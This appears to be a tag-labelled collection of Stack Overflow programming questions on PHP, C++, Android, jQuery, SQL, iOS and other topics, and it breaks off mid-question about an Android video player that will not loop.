microsoft .net framework fail on startup  the fail occures on startup without running anything myself(could be something that runs on startup).    the message translated into english: an unhandled exception in the application. if you click continue  the application will ignore this error and attempt to continue. if you click exit  the program quits immediately.    the main problem here is that the window disappears after about 2 seconds and i don t have enough time to read the whole  details   which i think will consist of what and where the failure occurred.    <a href= https://i.stack.imgur.com/d9dd0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/d9dd0.png  alt= the fail ></a>,.net
php get image name in a link  i am using a script  to get the first image  inside a post.    here is the script.   <pre><code>$first_img =   ;                 $my1content = $row[ post_content ];                 $output = preg_match_all( /&lt;img.+src=[\  ]([^\  ]+)[\  ].*&gt;/i   $my1content  $matches);                  $first_img = $matches [1] [0];                 if(empty($first_img)){ //defines a default image                 $first_img =  /img/default.png ;                 } </code></pre>   this script echo the full image link  for example: <a href= http://mywebsite.com/images/thisistheimage.jpg  rel= nofollow >http://mywebsite.com/images/thisistheimage.jpg</a>    is possible to divide the image link   image name   and image extenction so i need to get 3 results     the link  example:<a href= http://mywebsite.com/images/  rel= nofollow >http://mywebsite.com/images/</a> the image name  example: thisistheimage the image extenction  example: .jpg    please let me know if its all clear  thanks for reading.,php
ruby on rails: how do i add placeholder text to a f.text_field   how can i add <code>placeholder</code> text to my <code>f.text_field</code> fields so that the text comes pre-written by default  and when a user click inside the fields  the text goes away - allowing the user to type in the new text,ruby-on-rails
executing a list of imported functions  i have a file with functions:    modules.py:   <pre><code>def a(str):     return str +   a   def b(str):     return str +   b  </code></pre>   i want to perform these functions in cycle. something like:    main.py:   <pre><code>import modules  modules_list = [modules.a  modules.b] hello =  hello   for m in modules_list:     print m(hello) </code></pre>   the result should be:   <pre><code>&gt;&gt;&gt; hello a &gt;&gt;&gt; hello b </code></pre>   this code is work. i do not want to use decorators  because too much functions in <code>modules.py</code>. what is the best way  thanks.,python
casting element of uint8_t to 32-bit variable on 8-bit platform or 32-bit platform  lets consider two examples    <strong><em>1: 8 bit mcu/mpu/platform - little endian</em></strong>   <pre><code>uint8_t arr[5] = {0x1 0x2 0x3 0x4 0x5};//assume &amp;arr[0] == 0x0 uint32_t *ui32 = (uint32_t*)&amp;arr[1]; </code></pre>   what is the value of <code>*ui32</code>  <code>0x2030405</code>  is it necessary <code>uint32_t</code> variable to be placed to an address multiple of 4 at this platform     <strong><em>1: 32 bit mcu/mpu/platform - little endian</em></strong>     pretty much the same example:   <pre><code>uint8_t arr[] = {0x1 0x2 0x3 0x4 0x5  0x6  0x7  0x8}; //again assume &amp;arr[0] == 0x0 uint32_t *ui32 = (uint32_t*)&amp;arr[1]; </code></pre>   what is the value of <code>*ui32</code>     i know that 32bit variables should reside in address multiple of 4.    where i can find specification on this,c
turn off trace globally  i am receiving an error that ends with:    <blockquote>    trace requires that...  </blockquote>   how can we turn off trace for the whole web application  here is the full error message:   <blockquote>    multiple controls with the same id  x$x$xxxyyyyyzzzzzzzz$ctl00$ctl01  were found. trace requires that controls have unique ids.  </blockquote>,asp.net
edit text in html  i have an <code>h1</code> header on my page that simply says  hello world .     i want to know how i can add a form to change the header to say  hello world from <em>my_form_field_value</em> .,html
i have a method which only needs to be executed once in php but will be called twice. how do i structure this   i have a method in php which calls a soap service  parses some data and returns it.    it will return the same data - it asks how many records in a data object.    i need to call it twice with a pass.    my question is  what is best practice for structuring this in php  i ve tried to see if the function has been called already.do i use static variables / functions    <pre><code>function minimumrequired() {          return $this-&gt;numberpeoplejoined();     }     function numberpeoplejoined () {         if (isset($numberpeople)) {             debug::show($numberpeople);         }         static $numberpeople;         $numberpeople = surge_controller::numberpeoplejoined();         return $numberpeople;     } </code></pre>   thanks!,php
restrict image size while uploading in jquery  i want to restrict image size while uploading. is there any jquery plugin to check size of uploaded image,jquery
average time from each user   the below query im getting the average time of the difference of two dates from a specific time.this is for all the records from the table. i would like to get the average time from each user_id.   <pre><code>create table agentdispo (callstartdt datetime   callenddt datetime  user_id varchar(25) )  select avg(average_time) as average_time from (select cast(convert (datetime datediff(minute callstartdt callenddt))as float) as average_time        from agentdispo       where callstartdt between  2015-01-05  and  2015-01-31  ) as subquery </code></pre>   how can i get the average time from each user_id from that callstartdt dates,sql
retrieve a field from response object in angular js depending upon the variable passed  i am trying to use one of the field i am getting in response.data but that field is the one passed in to the function inside my controller. so  i have a func something like this:   <pre><code>function driverinfo(interface){ apiserv.get( blahblah ).then(function(response){ if (response.data.paraminterfacepassedabove == null){         //do when true } }) } </code></pre>,angularjs
dynamic change of class of <tr> with jquery  this is my first post  and first please forgive me for my poor english.    i have a problem i really can t fix:    i have a <code>&lt;table&gt;</code> of questions     <ol> <li> the first question is visible (class:visible)  the others are hidden (class:hidden)   <pre><code>        $(document).ready(function(){         $( .hidden ).hide(); </code></pre></li> <li> when people click on the first question  i want the second question to appear (and the first question to turn to grey  using a  done  class). </li> </ol>  <blockquote> <pre><code>$( .visible:not(.done) ).click(function(){                  $(this).addclass( done );                  $( .hidden:first ).toggle(500).removeclass( hidden ).addclass( visible );             }) </code></pre> </blockquote>   the first question is now done (class:done) and the 2nd question should be the only one to react to a click()  and so on... but it doesn t work: the other <code>&lt;tr&gt;</code>  appear only when i click on the 1st <code>&lt;tr&gt;</code>.    can someone give me a hand on this problem    thank you.,jquery
how to compare 2 lists of objects and remove the items that are not common   i ve got 2 generic lists that do not contain the all fields of the same type   <pre><code>ilist&lt;category&gt; and list&lt;categoriesrow&gt;categories  categorylist = ilist&lt;category&gt; </code></pre>   but both have common fields name and id.    i want to compare list categories with categorylist and find those from categorylist where categorylist[index].id does not exist in the list of all categories of id. for all those that do not exist in categories  i will have to remove them from catgorylist.    i had a previous post in which i was given examples of linq  but the problem is i have to use dynamic  implying that i am passing categorylist and categories as dynamic.    can anyone give me an example how to go about the above as i have no idea how to do it.,c#
system.comparison<t> understanding  <code>list&lt;t&gt;.sort()</code> method has 3 overloads.    one of them is the following   <pre><code>system.collections.generic.list&lt;t&gt;.sort(system.comparison&lt;t&gt;) </code></pre>   on seeing <code>comparison&lt;t&gt;</code>  i thought that it should be a class which is derived from <code>comparison&lt;t&gt;</code> class. (an usual interpretation on the parameters)    but the following works really well and said to be using the above overload.   <pre><code>        public static void main(string[] args)         {             list&lt;int32&gt; collection = new list&lt;int32&gt;();              collection.add(20);             collection.add(270);             collection.add(30);             collection.add(90);             collection.add(40);             collection.add(18);             collection.add(100);              collection.sort(mycomparer.comparewithcase);              foreach (int32 s in collection)                 console.writeline(s);         }          public static int comparewithcase(int i1  int i2)         {             return i1.tostring().compareto(i2.tostring());         } </code></pre>   i did give a delegate to a static method in place of <code>comparison&lt;t&gt;</code>. how does it work,.net
java : need help converting an object to array  i have this userlist object with some data in it    <pre><code>userlist userlist = new userlist(); userlist.setuserlistitem(userlistitem); </code></pre>   now  i have another object userdatalists    the structure of  userdatalists is shown below    <pre><code>public class userdatalists{      private userlist[] userlist;      public userlist[] getuserlist() {         return userlist;     }      public void setuserlist(userlist[] userlist) {         this.userlist = userlist;     }  } </code></pre>   as you can see that the userdatalists object accepts an array of userlist .    please tell me how can i convert the userlist  to an array   so that i can set it inside the userdatalists   <pre><code>public class userlist {      private static final long serialversionuid = 1l;      public string getid() {         return id;     }      public void setid(string id) {         this.id = id;     }      public userlistitem[] getuserlistitem() {         return userlistitem;     }      public void setuserlistitem(userlistitem[] userlistitem) {         userlistitem = userlistitem;     }      private string id;     private userlistitem[] userlistitem;  }        public class userdatalists {          private userlist[] userlist;          public userlist[] getuserlist() {             return userlist;         }          public void setuserlist(userlist[] userlist) {             this.userlist = userlist;         }      } </code></pre>,java
inserting node in the beginning of linked list using codeblocks  when i am inserting node in the beginning of the linked list  node is inserted in the beginning and is displayed. if i call display separately then it does not work and for inserting node at specific loc and at the end  calling display function works well.   <pre><code>#include &lt;iostream&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; using namespace std;  typedef struct node {     int data;     struct node* next; } node;  node* create(int n) {     node* temp = null;     node* head = null;     node* p;     int i;     for (i = 0; i &lt; n; i++) {         temp = (node*)malloc(sizeof(node));         cout &lt;&lt;  enter the data for node number   &lt;&lt; i &lt;&lt; endl;         cin &gt;&gt; temp-&gt;data;         temp-&gt;next = null;         if (head == null) {             head = temp;         }         else {             p = head;             while (p-&gt;next != null) {                 p = p-&gt;next;             }             p-&gt;next = temp;         }     }     return head; }  node* insertatbeg(node* head) {     node* temp = null;     temp = (node*)malloc(sizeof(node));     cout &lt;&lt;  \nenter the data for first node  &lt;&lt; endl;     cin &gt;&gt; temp-&gt;data;     temp-&gt;next = head;     head = temp;     return head; }  void display(node* head) {     node* t = null;     t = head;     while (t != null) {         cout &lt;&lt; t-&gt;data &lt;&lt;  -&gt; ;         t = t-&gt;next;     } }  node* insertatspecloc(node* head) {     int n;     node* temp = null;     node* t = head;     temp = (node*)malloc(sizeof(node));     cout &lt;&lt;  enter the data of node after which you want to insert the              node  &lt;&lt;endl;             cin         &gt;&gt; n;     cout &lt;&lt;  \nenter the data for last node  &lt;&lt; endl;     cin &gt;&gt; temp-&gt;data;     while (t-&gt;data != n) {         t = t-&gt;next;     }     temp-&gt;next = t-&gt;next;     t-&gt;next = temp;     return head; }  node* insertatend(node* head) {     node* temp = null;     temp = (node*)malloc(sizeof(node));     cout &lt;&lt;  \nenter the data for last node  &lt;&lt; endl;     cin &gt;&gt; temp-&gt;data;     temp-&gt;next = null;     node* q;     q = head;     while (q-&gt;next != null) {         q = q-&gt;next;     }     q-&gt;next = temp;     return head; }  int main() {     int n  a;     struct node* head = null;     cout &lt;&lt;  enter the number of nodes u want to add ;     cin &gt;&gt; n;     head = create(n);     display(head);     cout &lt;&lt;  \npress 1 to add node at the beginning ;     cout &lt;&lt;  \npress 2 to add node at the specific location ;     cout &lt;&lt;  \npress 3 to add node at the end\n ;     cin &gt;&gt; a;     if (a == 1) {         insertatbeg(head);         cout &lt;&lt;  \nlinked list after insertion:\n ;         display(head);     }     if (a == 2) {         insertatspecloc(head);         cout &lt;&lt;  \nlinked list after insertion:\n ;         display(head);     }      if (a == 3) {         insertatend(head);         cout &lt;&lt;  \nlinked list after insertion:\n ;         display(head);     } } </code></pre>,c++
storing the imei from an android phone on an american server  is it legally ok to store an sha1 hash of a user imei on a server     i have asked the user for permission before sending the imei.,android
return value by mysql_query for insert query  i am using mysql c api  i want to know that  is there any way so that i will come to know my insert query failed because i tried to insert duplicate value for primary key. i know i can retrieve existing entries and compare it with value which i want to insert but it will be better if i get to know it by return value of mysql_query.    thanks in advance.,mysql
how to make websites for iphone  i have a website which i want my users to access from their iphones as well. would i need to make separate webpages for mobiles or is there a template provided in xcode that lets developers make web applications for iphone     if i am making the website just my altering the webpages then i am limited by the functionality of the browser safari. but if i am going for xcode based support for web applications i would be able to use the rich foundation and uikit framework.    what is a better option     thank you in advance.,iphone
bitmaps and out of memory error  i am trying to save many bitmaps in my app s folder on sdcard. however i am getting out of memory error. what is the best way to handle bitmaps and memory in this situation. also where will i call bitmap.recycle() looking at below code  thanks    here is the code with which i am saving bitmaps on sdcard   <pre><code>bitmap b1 = bitmapfactory.decoderesource(getresources()  r.drawable.sky);      bytearrayoutputstream bstream1 = new bytearrayoutputstream();     b1.compress(bitmap.compressformat.png  100  bstream1);       file file= new file(environment.getexternalstoragedirectory() + file.separator +  appname  +  /image1.png );     if(!file.exists()) {         try {              file.createnewfile();             fileoutputstream fos = new fileoutputstream(file);             fos.write(bstream1.tobytearray());             fos.close();          } catch (ioexception e) {             e.printstacktrace();         }     } </code></pre>,android
cant get the query to return all data from database <pre><code> &lt; php     define( host   localhost );     define( user   id2553362_hcoe );     define( pass   admin );     define( db   id2553362_hamrosadhan );      $con = mysqli_connect(host user pass db) or die( unable to connect );      $jsondata = file_get_contents( php://input );     $data = json_decode($jsondata true);      $bookeduser = $data[ bookeduser ];     $bookfrom = $data[ bookedfrom ];     $bookto = $data[ bookto ];     $category = $data[ category ];     $ulat = $data[ ulat ];     $ulong = $data[ ulong ];      $sql =  select postid vehiclename vechicleid category location        description rateamount  availablefrom availableto  ( 6371 * acos( cos(     radians($ulat) ) * cos( radians(locationlat ) ) *     cos( radians( locationlong ) - radians($ulong) ) +      sin( radians($ulat) )*       sin( radians(locationlat ) ) ) ) as distance from vehicledetails where      category= $category  and availablefrom &lt;=  $bookfrom  and availableto &gt;=      $bookto  having distance &lt; 500   ;    $query = mysqli_query($con  $sql) or die( query fails );         if($query){             while($vinfo = mysqli_fetch_array($query))                 {                          var_dump($vinfo);die;                 }      }       &gt; </code></pre>   i want my code to return all the data in table with the query filter but my query only returns 1 data. output:   <pre><code>                               array(20) {   [0]=&gt;   string(1)  3    [ postid ]=&gt;   string(1)  3    [1]=&gt;   string(5)  cbras    [ vehiclename ]=&gt;   string(5)  cbras    [2]=&gt;   string(11)  ba56psa2437    [ vechicleid ]=&gt;   string(11)  ba56psa2437    [3]=&gt;   string(8)  2 wheels    [ category ]=&gt;   string(8)  2 wheels    [4]=&gt;   string(7)  gongabu    [ location ]=&gt;   string(7)  gongabu    [5]=&gt;   string(12)  got conditon    [ description ]=&gt;   string(12)  got conditon    [6]=&gt;   string(4)  5000    [ rateamount ]=&gt;   string(4)  5000    [7]=&gt;   string(10)  2017-09-15    [ availablefrom ]=&gt;   string(10)  2017-09-15    [8]=&gt;   string(10)  2017-10-15    [ availableto ]=&gt;   string(10)  2017-10-15    [9]=&gt;   string(18)  0.8621561884069938    [ distance ]=&gt;   string(18)  0.8621561884069938  } </code></pre>   <a href= https://i.stack.imgur.com/rrejq.png  rel= nofollow noreferrer >this is my database</a>,php
problem with android licensing service  i implemented licensing service in my application using the sample given with licensing module. i am using the standard servermanagedpolicy. i have not changed anything in the policy and it actually works fine. i have following questions.    <ol> <li> sometimes  this happens randomly though  it says that application is not licensed and asks for buying it and then i try again it works fine. so few times  it will say  app is not licensed. i have seen this both on real phone and emulator.  this is a serious concern  because if the user who buys the app later on see the popup that app is not licensed  he is gonna get irritated. may i please know what is wrong with the standard <code>servermanagedpolicy</code> code. </li> <li> for a paid app  is the standard <code>servermanagedpolicy</code> implementation given in the sample code enough  or do you recommend to tweak it and add / modify some checks. </li> </ol>,android
local image url syntax   i have a folder of images on my local disk. if i drag one onto the firefox icon in my toolbar  it shows that image in browser. the url in the address bar is:     <code>file:///e:/%5b%20program%20%5d/tempproject/%5b%20win%20project%20%5d/%5b%20samim%20%5d/samim_newversionsource/educationalerpsolution/educationalerp/bin/debug/imagesweb/1.jpg</code>    however  if i use that url as the src attribute on an img element  i get a broken image.       <code>&lt;img src= file:///e:\[ program ]\tempproject\[      win project ]\[ samim]\samim_newversionsource\educationalerpsolution\educationalerp\bin\debug\imagesweb\1.jpg &gt;</code>    is there a way to get the browser to display an image coming from the local file system  and if so  what s the syntax for the url,html
swapping between two subviews while keeping functionality  i want to make a simple app that has a table with a bar (~50px high) at the top of the view. the bar will include a search button. when pressing the search button i would like to swap out the view in the bar with a search bar. i can t think of the best way to do this.    i have several options here. i could do it programmatically or make custom .xib files of each view and have them swapped out. with the custom .xib files  i don t know how to pass the functionality to the main viewcontroller.    i figure there is something out there somewhere regarding this in bits and pieces. i wanted to get some opinions on what the best way to do this is.,ios
problem is navigating through views of iphone application (using push/pop viewcontroller)  here is the scenario. i have 4 view controllers v1  v2  v3  v4 which are displayed in 4 tabs of iphone (using uitabbarcontroller). now i push another view sv1 to v1 (while i am viewing v1  i use pushviewcontroller like [appdelegate.nv pushviewcontroller:sv1 animated:yes]). nv is uinavigationcontroller init with rootviewcontroller  v1.    now if i press v2 tabbar (while i am viewing sv1)  and then press v1 i see sv1. however  i do not want this behavior. i want to show v1 instead of sv1. how can i remove sv1 from its parent s view when v2 is clicked     i have tried using [self.navigationcontroller poptorootviewcontrolleranimated:no]; from viewwilldisappear method of sv1 and it is not working (it goes back to v1 but all messed up  like navigation bar is not drawn and tabbar icon for v1 is not shown  the whole v1 view seems to be broken).    could anyone let me know how can i fix this problem     thanks.,iphone
how can i make a page expire after user visit it   i have a page <a href= http://www.mysite.com/newsletter.php  rel= nofollow >http://www.mysite.com/newsletter.php</a>    now i want to put a variable there when i send you an email and you visit this page to see you email/username there.     so i email you this link <a href= http://www.mysite.com/newsletter.php user=email@email.com  rel= nofollow >http://www.mysite.com/newsletter.php user=email@email.com</a>    now when you will access this link you will see you email/username on that page as  hello email@email.com  check out new blog     i write the username/email on that page with   <pre><code>&lt; php echo $_get[ user ];  &gt; </code></pre>   now how can i make this page to expire after you visit it  i mean i want to visit it only once time!    *<strong>edited</strong>    look the code i use already to generate unique links that expire:   <pre><code>&lt; php      include( variables.php );      $password = trim($_server[ query_string ]);      if($password == admin_password) {         $new = uniqid( key  true);          if(!is_dir( keys )) {             mkdir( keys );             $file = fopen( keys/.htaccess   w );             fwrite($file  order allow deny\ndeny from all );             fclose($file);         }          $file = fopen( keys/keys   a );         fwrite($file  {$new}\n );         fclose($file);  &gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;page created&lt;/title&gt;         &lt;style&gt;             nl {                  font-family: monospace              }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;h1&gt;page key created&lt;/h1&gt;         your new single-use page link:&lt;br&gt;         &lt;nl&gt;         &lt; php              echo  http://  . $_server[ http_host ] . download_path .     . $new;           &gt;&lt;/nl&gt;     &lt;/body&gt; &lt;/html&gt;  &lt; php     } else {          header( http/1.0 404 not found );     }  &gt;` </code></pre>   also this code expire in 36 hours  and is set by variables.php   <pre><code>&lt;       define( protected_download   download.php );      define( download_path   /.work/page.php );      define( suggested_filename   download-doc.php );      define( admin_password   1234 );      define( expiration_date    +36 hours );      header( cache-control: no-cache  must-revalidate );     header( expires:  .date( u   strtotime(expiration_date)));   &gt; </code></pre>   this php files generates a link like this:  <a href= http://www.mysite.com/page.php key1234567890  rel= nofollow >http://www.mysite.com/page.php key1234567890</a> now how to add the variable user=email@email.com next to uniqid to generate a link like this: <strong>page.php key1234567890&amp;user=email@email.com</strong> to can get the email@email.com by <code>&lt; php echo $_get[ user ];  &gt;</code> in the next page.    sorry for my bad english.,php
how to reduce imagesize in iphone  iam new to iphone currently my problem is    i displayed 6 images in image view  it was not showing images in imageview i think the imageviews are in large size     so plz send me code for this imageview.    thank u in advance.,iphone
how to remove last two characters every line of text file  how to remove the last two characters of every line of a text file   for example. a.txt contains:   <pre><code>10081551 10081599 10082234 10082259 20081134 </code></pre>   so the new txt file contain:   <pre><code>100815 100815 100822 100822 200811 </code></pre>   thank you :),php
two directives requesting isolated scope and inherited scope on the same element  i have declared two directives on an element: one requesting isolated scope and the other requesting inherited scope. here is:    <strong>the code</strong>   <pre><code>angular.module( myapp   []) .directive( mydirective   function() {     return {         restrict:  a           scope: {             users:  =          }          templateurl:  users-info.html           link: function(scope) {             scope.title =  from my directive ;         }     } }) .directive( otherdirective   function() {     return {         restrict:  a           scope: true          link: function(scope) {             scope.title =  from other directive ;         }     }; }) .controller( appcontroller   function($scope) {     $scope.users = [         {name:  anup vasudeva   username:  anup_vasudeva }          {name:  ajay sharma   username:  ajay_sharma }          {name:  vinay kumar   username:  vinay_kumar }     ];     $scope.title =  users information ; }); </code></pre>   <strong>and the html</strong>   <pre><code>&lt;div my-directive other-directive&gt;{{title}}&lt;/div&gt; </code></pre>   but angularjs is throwing error mentioning the url:   <pre><code>http://docs.angularjs.org/error/$compile/multidir </code></pre>   but in the description of errors  i don t see a point where it says that multiple directives requesting isolated and inherited scope is not allowed.    ** edit ** that seems strange  when i used angular <code>v1.2.0-rc.2</code>  the above scenario works fine. the <code>otherdirective</code> gets an isolated scope even if it asks for the shared scope. but this scenario doesn t works in the latest version.,angularjs
time span logic error  i have an error in my logic and am having trouble figuring out what it is.  basically  i continuously calculate the time span of each iteration of the gaming loop and add that duration to the duration before it.  i am trying to calculate the total time the game is played. of course  it doesn t produce the right results.  what am i doing wrong  any guidance is greatly appreciated.   <pre><code>        private timespan totalduration = timespan.fromseconds(1);         private int score = 0;          public void stop()         {             isgameover = true;             //messagebox.show(string.format( game over\n\nscore = {0}   score));             messagebox.show(string.format( game over\n\nscore = {0}\n\ntime             duration={1}   score  totalduration));             application.exit();         }          public void start()         {              score = 0;             isgameover = false;              currentredlightx = 0;             currentredlighty = 0;              currentgreenlightx = width / 2;             currentgreenlighty = height / 2;               double miniterationduration = speed; // 50 frames / sec              //game loop             while (!isgameover)         {             if (iscollision())             {                 score += 10;             }              datetime startiterationtime = system.datetime.utcnow;             updategamestate();             render();             datetime enditerationtime = system.datetime.utcnow;             timespan iterationduration = enditerationtime - startiterationtime;             totalduration += iterationduration;             //totalduration += iterationduration.duration();                             if (iterationduration.totalmilliseconds &lt; miniterationduration)                 thread.sleep(convert.toint32(miniterationduration -                  iterationduration.totalmilliseconds));              application.doevents();         } </code></pre>,c#
mysql - select results from a secondary table as a column in a primary table  i have a set of data consisting of two tables: table one is a set of unique items  and table two is a log of references that link the items in the first table together. for example:    table one   <pre><code>+------------+--------------------+ |         id | name               | +------------+--------------------+ |         1  | item 1             | |         2  | item 2             | |         3  | item 3             | |         4  | item 4             | |         5  | item 5             | +------------+--------------------+ </code></pre>   table two   <pre><code>+------------+--------------------+ |  item_1_id | item_2_id          | +------------+--------------------+ |         1  | 2                  | |         1  | 3                  | |         1  | 5                  | |         2  | 4                  | |         2  | 5                  | +------------+--------------------+ </code></pre>   is it possible to group the rows that are in table two  and display them in some sort of array/collection as a column in table one. so based on my example tables  i would hope to return something like this:   <pre><code>+------------+-----------+----------+ |         id | name      | results  | +------------+-----------+----------+ |         1  | item 1    | 2  3  5  | |         2  | item 2    | 1  4  5  | |         3  | item 3    | 1        | |         4  | item 4    | 2        | |         5  | item 5    | 1  2     | +------------+-----------+----------+ </code></pre>,mysql
html form send blank  i have a html form on my website  but people keep forgetting to fill it in completely (3 boxes to fill in).    is their a way with html to only activate the submit button if they have filled it in completely or something similar,html
insert a uitextfield on top of a uitableviewcontroller  i m trying to make uitableview  populated by user inputed data  i m trying to display a uitextview  inside the table view ( on top of it )  when the users hits a button. this is what i have:   <pre><code>uibarbuttonitem *addbutton = [[uibarbuttonitem alloc] initwithbarbuttonsystemitem:uibarbuttonsystemitemadd target:self action:@selector(adicionarobjeto:)];     self.navigationitem.rightbarbuttonitem = addbutton;  -(void)adicionarobjeto:(id)sender {      uitextfield *mytextfield = [[uitextfield alloc]initwithframe:cgrectmake(10  0  300  40)];     [self.tableview insertsubview:mytextfield atindex:0 ];     } </code></pre>   any help will be appreciated! thanks!,ios
buffer size changed  i am doing a simple communication between sockets and here is my c++ code   <pre><code>while(1) {     string buffer =  23 45\n ;     const char* foo = buffer.c_str();     cout &lt;&lt;  size of buffer is   &lt;&lt; sizeof(buffer)&lt;&lt;endl;     send (s  foo  sizeof(buffer)  0); } </code></pre>   weird thing is the fist iteration  the size of the buffer is 5 as expected  but since the second iteration and so on  the size dramatically jumped to 32. any idea why  thank you very much. by the way  the added size comes from leading while spaces.,c++
how do i print the double variable inside or outside the for loop  i am doing a project on hotel occupancy but i am having a difficulty in printing the <code>double</code> variable. i need to know how to display the <code>double</code> variable using <code>setprecision</code>.   <pre><code>#include &lt;iostream&gt;  using namespace std;  int main() {     int numfloors=0; //for number of floors     int numrooms=0; //for number of rooms per floor     int numoccipied=0; //for rooms that are occupied     int trooms=0; //for total rooms in hotel     int tocuppied=0; //for total rooms occupied in the hotel     int tunoccupied=0; //for unoccupied rooms in the hotel     double occupancy=0; //for persentage occupancy      cout&lt;&lt; enter the number of floors in the hotel          &lt;&lt; \nnote: please do not write value less than 1:  ;     cin&gt;&gt;numfloors;      for(int floor=1; floor&lt;=numfloors; floor++) //loop starts     {         cout&lt;&lt; how many rooms are there in no. &lt;&lt;floor&lt;&lt; floor \n ; //ask user to for number of rooms per floor         cin&gt;&gt;numrooms;          trooms+= numrooms; //total rooms in each floor will add and store in trooms         cout&lt;&lt; how many rooms are ocupied \n ;  //ask user to put number of occupied rooms         cin&gt;&gt;numoccipied;         tocuppied+=numoccipied; //number of rooms occupied per floor is added          tunoccupied=trooms-tocuppied; //stores all unoccupied rooms         occupancy=(tocuppied)/trooms; //store persentage occupancy           cout&lt;&lt; \n\nthe hotel has  &lt;&lt;trooms&lt;&lt; rooms\n ;         cout&lt;&lt; from which  &lt;&lt;tocuppied&lt;&lt;   rooms are occupied \n ;         cout&lt;&lt; and  &lt;&lt;tunoccupied&lt;&lt;  are unoccupied.\n  ;     }     cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(1);     cout&lt;&lt; \n\noccupancy rate:  &lt;&lt;occupancy*100&lt;&lt; % \n\n ;     return 0; } </code></pre>,c++
progress dialog is not displayed properly while navigating between tabs in android using asynctask  i hv 2 tabs in my application. when ever i click the 2nd tab i need to get the data from the server for tat i am using asynctask   every thing is working fine but the problem is with the progress dialog ie when i click on 2nd tab i need to show the progress dialog in 1 st tab ( since 2nd tab is fetching the data from server call ) but progress dialog is displaying in 2nd tab which is not visible for me until server call finishes.    can any one help me on this   thanxs a lot..    asynctask code   <pre><code> package com.cmc.bizgateway.net;  import java.util.list;  import org.apache.http.message.basicnamevaluepair;   import android.app.progressdialog;  import android.content.context;  import android.os.asynctask;  import android.util.log;  import android.widget.toast;   public class progressbarmanager extends     asynctask&lt;list&lt;basicnamevaluepair&gt;  string  string&gt; {  list list1 = null;   context context; private progressdialog dialog = null;  public progressbarmanager() {     super();  } public progressbarmanager(context context) {     super();  }  public void setprogressdialog(context c) {     dialog = new progressdialog(c);     this.context = c; }  private networkmanager networkmanager = new networkmanager();  @override protected string doinbackground(list... arg0) {     // log.v( in dobackground    result );     string response = null;     try{           response = networkmanager.postwebservice(arg0[0]);      }catch(exception e) {         log.v(     exception in background   + e);         toast.maketext(context.getapplicationcontext()   resid  4000).show();     }     return response; }  protected void onpreexecute() {     // log.v( in pre execute    result );     this.dialog.setmessage( loading. please wait... );     this.dialog.show(); }  /**  * method is called after the work is done.  *   * @param success  *            result of #doinbackground method.  */ // @override protected void onpostexecute(string success) {     // log.v( in post execute    result );     if (dialog.isshowing()) {         dialog.dismiss();     } }  } </code></pre>   in tabhost class i am writing code    <pre><code> secondtabspec.setindicator( categories ).setcontent(             new intent(this  productcategoriesactivity.class)); </code></pre>   and in productcategoriesactivity class     oncreate method i am using   <pre><code>public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     context = this;     progressbarmanager p = new progressbarmanager();     p.setprogressdialog(context);      list&lt;basicnamevaluepair&gt; namevaluepairs = new arraylist&lt;basicnamevaluepair&gt;(             3);     namevaluepairs.add(new basicnamevaluepair( method    \               +  getcategorylist  +  \  ));     namevaluepairs.add(new basicnamevaluepair( type    \   +  product              +  \  ));      string result;     try {         result = p.execute(namevaluepairs).get();                 } </code></pre>,android
date in sql select query  i have date in my select query in below format    <pre><code>thu sep 04 23:03:30 gmt 2014 </code></pre>   and in my table date is in this format    <pre><code>13-nov-13 03.38.22.000000000 am </code></pre>   how can i convert in the db format. i tried using   <pre><code>to_char( thu sep 04 23:03:30 gmt 2014   dd-mmm-yy hh:mi:ss )  </code></pre>   but not working. any help will be appreciated.,sql
is it valid html to add a link to a fieldset legend   is it valid html to add a link to your legend tag  like:   <pre><code>&lt;fieldset&gt; &lt;legend&gt;&lt;span&gt;option a&lt;/span&gt;&lt;span&gt;&lt;a href=  &gt;click to copy&lt;/a&gt;&lt;/span&gt;&lt;/legend&gt;  some text &lt;/fieldset&gt; </code></pre>,html
how do c# types work   in c# types are said to be of value and reference types     <img src= https://i.stack.imgur.com/tfr6s.png  alt= enter image description here >    if <code>system.object</code> is the topmost class so does it mean everything is object     if its true ... then these questions come with them    <strong>1.</strong> so all types must be reference types as we cannot assign value directly to object .....    <strong>2.</strong>   <pre><code>    int a=20; //this is primitive type or object         int a = new int(); //according to documentation this is reference type ...  </code></pre>   how these two statements are different ... in first statement does the <code>new</code> keyword get automatically called     please explain this diagram its confusing me a lot ... couldn t understand from msdn.,c#
setlooping don t work in my videoplayer  i am a android newbie. i want to design my personal videoplayer to play streaming music  so i use mediaplayer and surfaceview. the project plays streaming video successfully  but it can t be setloop. i have google many articles and read android developer. i can t figure out why mediaplayer.setlooping(true) don t work here. thanks^^   <pre><code>mediaplayer.reset(); mediaplayer.setdatasource(videourl); mediaplayer.setlooping(true); mediaplayer.prepare();     </code></pre>   the code includes two parts: 1.test_videoplayer.java   2.player.java    1.test_videoplayer.java   <pre><code>public class test_videoplayer extends activity { private surfaceview surfaceview; private button btnpause  btnplayurl  btnstop; private seekbar skbprogress; private player player;  /** called when the activity is first created. */ @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      setrequestedorientation(activityinfo.screen_orientation_landscape);     surfaceview = (surfaceview) this.findviewbyid(r.id.surfaceview1);      btnplayurl = (button) this.findviewbyid(r.id.btnplayurl);     btnplayurl.setonclicklistener(new clickevent());      btnpause = (button) this.findviewbyid(r.id.btnpause);     btnpause.setonclicklistener(new clickevent());      btnstop = (button) this.findviewbyid(r.id.btnstop);     btnstop.setonclicklistener(new clickevent());      skbprogress = (seekbar) this.findviewbyid(r.id.skbprogress);     skbprogress.setonseekbarchangelistener(new seekbarchangeevent());      player = new player(surfaceview  skbprogress);  }  class clickevent implements onclicklistener {     @override     public void onclick(view arg0) {         if (arg0 == btnpause) {             player.pause();         } else if (arg0 == btnplayurl) {             string url =  http://sites.google.com/site/ronforwork/home/android-2/littlemonster.3gp ;             player.playurl(url);         } else if (arg0 == btnstop) {             player.stop();         }     } }  class seekbarchangeevent implements seekbar.onseekbarchangelistener {     int progress;      @override     public void onprogresschanged(seekbar seekbar  int progress              boolean fromuser) {         this.progress = progress * player.mediaplayer.getduration()                 / seekbar.getmax();     }      @override     public void 